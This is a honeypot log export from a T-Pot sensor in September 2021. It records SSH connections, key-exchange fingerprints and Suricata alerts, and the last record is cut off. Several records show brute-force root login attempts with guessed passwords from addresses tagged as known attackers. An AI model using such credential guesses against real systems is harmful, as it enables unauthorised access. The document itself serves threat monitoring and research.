37024	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 15:18:56.367072+03	2021-09-20 15:30:03.089892+03	{"_id": "2QYlA3wBvYTbRNuEH2Zd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "a17724607c62", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:18:56.367072Z", "@timestamp": "2021-09-20T12:18:56.367Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
37025	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 15:18:56.364194+03	2021-09-20 15:30:03.092893+03	{"_id": "1wYlA3wBvYTbRNuEH2Zd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 223.241.247.214:38612 (192.168.176.2:22) [session: a17724607c62]", "session": "a17724607c62", "@version": "1", "protocol": "ssh", "src_port": 38612, "dest_port": 22, "timestamp": "2021-09-20T12:18:56.364194Z", "@timestamp": "2021-09-20T12:18:56.364Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
37026	223.241.247.214	109.199.241.180	Suricata	2021-09-20 15:18:56.64325+03	2021-09-20 15:30:03.094891+03	{"_id": "3AYlA3wBvYTbRNuEIGZl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:18:56.086596+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1950784819319364, "payload": "AAADzAYUrD1uvtb8/i7kvfsQftDZ+wAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38612, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:18:56.643250Z", "@timestamp": "2021-09-20T12:18:56.643Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......=n.........~......(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
37027	223.241.247.214	109.199.241.180	Fatt	2021-09-20 15:18:56.64325+03	2021-09-20 15:30:03.097892+03	{"_id": "3QYlA3wBvYTbRNuEIWZa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 38612, "dest_port": 22, "timestamp": "2021-09-20T12:18:56.643250", "@timestamp": "2021-09-20T12:18:56.643Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
37028	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 15:18:57.87044+03	2021-09-20 15:30:03.099891+03	{"_id": "3gYlA3wBvYTbRNuEI2ZH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.login.failed", "message": "login attempt [root/qwe123123] failed", "session": "a17724607c62", "@version": "1", "password": "qwe123123", "username": "root", "timestamp": "2021-09-20T12:18:57.870440Z", "@timestamp": "2021-09-20T12:18:57.870Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
37030	218.92.0.190	109.199.241.180	Suricata	2021-09-20 15:19:03.693763+03	2021-09-20 15:30:03.103892+03	{"_id": "BwYlA3wBvYTbRNuEO2fB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 1281942447536382, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52238, "dest_port": 22, "timestamp": "2021-09-20T12:19:03.693763Z", "@timestamp": "2021-09-20T12:19:03.693Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
37031	218.92.0.190	109.199.241.180	Fatt	2021-09-20 15:19:03.693848+03	2021-09-20 15:30:03.105892+03	{"_id": "CgYlA3wBvYTbRNuEPGe2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 52238, "dest_port": 22, "timestamp": "2021-09-20T12:19:03.693848", "@timestamp": "2021-09-20T12:19:03.693Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
37032	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:19:05.107515+03	2021-09-20 15:30:03.107891+03	{"_id": "CwYlA3wBvYTbRNuEQmeL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/aaa123] failed", "session": "88f2e61a5a96", "@version": "1", "password": "aaa123", "username": "root", "timestamp": "2021-09-20T12:19:05.107515Z", "@timestamp": "2021-09-20T12:19:05.107Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
37033	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:19:06.395076+03	2021-09-20 15:30:03.108891+03	{"_id": "DQYlA3wBvYTbRNuERmdz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/aaa888] failed", "session": "88f2e61a5a96", "@version": "1", "password": "aaa888", "username": "root", "timestamp": "2021-09-20T12:19:06.395076Z", "@timestamp": "2021-09-20T12:19:06.395Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
37034	216.58.206.202	109.199.241.180	Suricata	2021-09-20 15:19:06.263791+03	2021-09-20 15:30:03.110892+03	{"_id": "DgYlA3wBvYTbRNuER2d7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:19:06.263791+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "216.58.206.202", "asn": 15169, "as_org": "Google Inc.", "dma_code": 807, "latitude": 37.4043, "location": {"lat": 37.4043, "lon": -122.0748}, "timezone": "America/Los_Angeles", "city_name": "Mountain View", "longitude": -122.0748, "postal_code": "94043", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "216.58.206.202", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1271121277748847, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 41944, "timestamp": "2021-09-20T12:19:06.263791Z", "@timestamp": "2021-09-20T12:19:06.263Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
37035	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:19:07.668496+03	2021-09-20 15:30:03.111891+03	{"_id": "DwYlA3wBvYTbRNuESmdc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/aaaaaaaa] failed", "session": "88f2e61a5a96", "@version": "1", "password": "aaaaaaaa", "username": "root", "timestamp": "2021-09-20T12:19:07.668496Z", "@timestamp": "2021-09-20T12:19:07.668Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
37036	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 15:18:59.149484+03	2021-09-20 15:30:03.114891+03	{"_id": "3wYlA3wBvYTbRNuEK2YX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a17724607c62", "@version": "1", "duration": 2.7826857566833496, "timestamp": "2021-09-20T12:18:59.149484Z", "@timestamp": "2021-09-20T12:18:59.149Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
37037	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:19:00.135536+03	2021-09-20 15:30:03.115891+03	{"_id": "4QYlA3wBvYTbRNuELGYf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:59.736384+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 2195836326067328, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 56305, "timestamp": "2021-09-20T12:19:00.135536Z", "@timestamp": "2021-09-20T12:19:00.135Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
37038	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:19:03.153621+03	2021-09-20 15:30:03.116891+03	{"_id": "AAYlA3wBvYTbRNuEOWcR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36358, "timestamp": "2021-09-20T12:19:03.153621", "@timestamp": "2021-09-20T12:19:03.153Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
37039	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 15:18:56.643857+03	2021-09-20 15:30:03.118893+03	{"_id": "2AYlA3wBvYTbRNuEH2Zd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "a17724607c62", "@version": "1", "timestamp": "2021-09-20T12:18:56.643857Z", "@timestamp": "2021-09-20T12:18:56.643Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
37040	223.241.247.214	109.199.241.180	Suricata	2021-09-20 15:18:56.643158+03	2021-09-20 15:30:03.119892+03	{"_id": "2wYlA3wBvYTbRNuEIGZl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "flow_id": 1950784819319364, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38612, "dest_port": 22, "timestamp": "2021-09-20T12:18:56.643158Z", "@timestamp": "2021-09-20T12:18:56.643Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": 